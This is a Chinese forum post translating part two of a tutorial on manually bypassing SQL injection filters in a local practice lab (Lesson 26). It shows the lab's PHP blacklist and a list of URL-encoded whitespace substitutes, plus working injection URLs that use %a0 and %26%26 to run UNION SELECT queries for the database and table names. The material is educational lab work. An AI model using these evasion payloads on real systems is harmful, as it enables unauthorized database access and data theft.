首页
社区
课程
招聘
[翻译]如何手动绕过SQL注入过滤器?(二)
发表于: 2017-7-11 18:04 6463

[翻译]如何手动绕过SQL注入过滤器?(二)

2017-7-11 18:04
6463

Lesson 26


本节延续上一节(传送门)。进入实验室后,你会发现本次面临着比上一回更大的挑战,因为空格、注释、ORAND全被过滤掉了。不过,和上一回相同,我们还是通过寻找它们的替代品来绕过该过滤器。

function blacklist($id)

$id=preg_replace('/OR/i',"",$id);        //strip out OR (non case sensitive)

$id=preg_replace('/AND/i',"",$id);        //strip out AND (non case sensitive)

$id=preg_replace('/[\/\*]/',"",$id);        //strip out /*

$id=preg_replace('/[-]/',"",$id);        //strip out -

$id=preg_replace('/[#]/',"",$id);        //strip out #

$id=preg_replace('/[\s]/',"",$id);        //strip out space

$id=preg_replace('/[\/\\\\]/',"",$id);        //strip out slashes


Blanks=('%09', '%0A', '%0B', '%0C', '%0D', '%a0')

首先打开浏览器,输入http://localhost:81/sqli/Less-26/?id=1'%a0%26%26'1=1(注:具体以个人配置为准)

由上图可以看出,使用URL编码 %a0 我们已经成功地解决了空格的问题。

如果你已经明白了上面的方法,那么接下来,我们会对SQL查询语句做一点小小的改动以获取数据库信息。

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,2,3%a0%26%26'1=1


由上图可以看出,显示的是第一列和第二列。(注:此图为译者所截,原文此处有误)

还是先获取数据库名:

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0%26%26'1=1

由上图可以看出,数据库名为'security'。

接着来看看数据库中有哪些表:

557K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9K6b7e0R3I4i4K6u0r3M7%4q4D9K9g2)9J5c8V1I4W2M7%4y4Q4x3X3b7J5y4W2)9J5c8W2)9K6c8X3W2V1i4K6y4p5x3q4)9J5y4W2)9J5x3K6x3&6i4K6y4n7i4K6t1#2j5e0m8#2L8X3W2G2L8W2)9J5y4h3p5H3M7$3g2D9k6h3y4@1i4K6t1#2j5e0l9I4i4K6u0o6k6%4u0G2N6i4m8Q4y4h3k6U0L8$3&6U0j5i4c8Q4x3U0S2@1j5h3u0D9k6g2)9#2k6X3&6S2L8h3g2Q4x3U0W2Q4x3V1x3K6i4K6t1#2j5e0m8X3M7X3!0E0i4K6t1#2j5e0m8A6L8X3k6G2L8%4u0J5L8h3q4@1K9h3!0F1i4K6g2X3M7$3y4Z5k6h3#2S2i4K6u0W2N6r3q4T1L8r3g2K6i4K6t1#2j5e0m8%4K9r3g2J5k6g2)9J5y4h3p5H3N6r3q4T1L8r3g2Q4y4h3k6K6j5$3S2W2L8h3q4Q4x3@1c8V1j5i4c8S2j5X3q4K6k6g2)9J5z5q4)9J5z5g2)9J5y4h3p5H3i4K6t1#2x3U0k6Q4x3U0f1J5y4W2)9J5y4W2)9J5x3K6x3&6i4K6y4n7x3g2)9K6c8o6p5`.


由上图可以看出,当前的表名有:

T1: emails


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 21
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
有一个不太明白的地方,在前面几节的最后,如果要查看username中的user列,只需要from  users,而这里却在from  users后面添加了where,(假如按照前面几节的方法,在less26是无法显示user中的具体内容的,而按这一节的方法添加了where之后是可以的),那这个where起到了什么作用呢?望前辈指点迷津。
2018-2-8 14:51
0
游客
登录 | 注册 方可回帖
返回